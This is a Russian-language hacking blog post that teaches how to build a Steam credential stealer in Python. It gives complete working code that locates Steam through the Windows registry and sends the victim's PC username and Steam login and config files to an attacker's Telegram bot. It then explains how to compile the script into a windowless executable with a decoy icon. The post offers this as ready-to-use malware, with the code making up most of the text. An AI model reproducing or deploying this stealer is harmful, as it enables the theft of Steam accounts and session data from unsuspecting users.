January 9, 2019

Steam стиллер на Python v2.0

https://t.me/darkside_team

Привет хацкеры, это дополнение к предыдущей статье про Стим стиллер

Создаем новую папку, например D:/bot и в ней файл bot.py, скрипт будем запускать в виртуальном окружении, так удобнее для дальнейшей сборки

Открываем bot.py в каком-нибудь продвинутом блокноте и начинаем писать код

Код:

import telebot
import os
import winreg

Импортируем библиотеки, для работы с ботом, с путями к файлам и реестром

Код:

bot = telebot.TeleBot("6354ХХХХХ:AAEBZeuDD3LCCpe2s2YLP0HEgХХХХХХХХХ")
chat_id = 2989ХХХХХ

Создаем объект для работы с telegram и записываем id чата в переменную

Код:

files = ["config.vdf", "loginusers.vdf", "DialogConfig.vdf", "fiterlist.vdf"]

Список файлов которые нужно отослать в телеграм

Код:

try:
    regpath='Software\\Valve\\Steam'
    root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, regpath, 0)
    steam, _ = winreg.QueryValueEx(root, "SteamPath")
    steam = os.path.join(steam, 'config')
except:
    exit()

Пытаемся найти в реестре путь к Steam, если нашли, то дописываем путь к папке config, так как нужные файлы лежат там, если не нашли, тихо выходим

Код:

username = os.getlogin()
bot.send_message(chat_id, username)

Отправляем в бот имя ПК

Код:

for file in files:
    try:
        doc = open(os.path.join(steam, file), 'rb') 
        bot.send_document(chat_id, doc)
    except:
        pass

Пробуем отправить файлы Steam по одному, если файла нет, ничего не делаем

Код написан, сохраняем файл и закрываем блокнот, сейчас будем устанавливать виртуальное окружение

Открываем папку в проводнике зажимаем клавишу SHIFT и кликаем правой кнопкой мыши на свободное место, откроется контекстное меню с дополнительными опциями, нужна строка Открыть окно команд

Откроется командная строка в папке, в командной сроке пишем

 python -m venv venv

venv\scripts\activate

Тут мы создаем виртуальное окружение и активируем его, теперь командную строку можно закрыть, отрыть, снова написать venv\scripts\activate и снова запустим виртуальное окружение

Текст выделенный красным показывает, что мы в виртуальном окружении

Устанавливаем библиотеку для telegram, пишем в командной строке

pip install pyTelegramBotAPI

Все готово, теперь можете написать с командной строке python bot.py и ваши файлы стим загрузятся в канал бота в telegram, если все сделано правильно

Переходим к созданию exe, пишем в командной строке

pip install pyinstaller

Сначала находим в гугле красивую иконку для нашего exe, она должна быть в формате ico, кладем в нашу папку рядом со скриптом, затем пишем в командной строке

pyinstaller --onefile --noconsole --icon=icon.ico bot.py

Появятся папки __pycache__, build, dist, в папке dist и лежит наш exe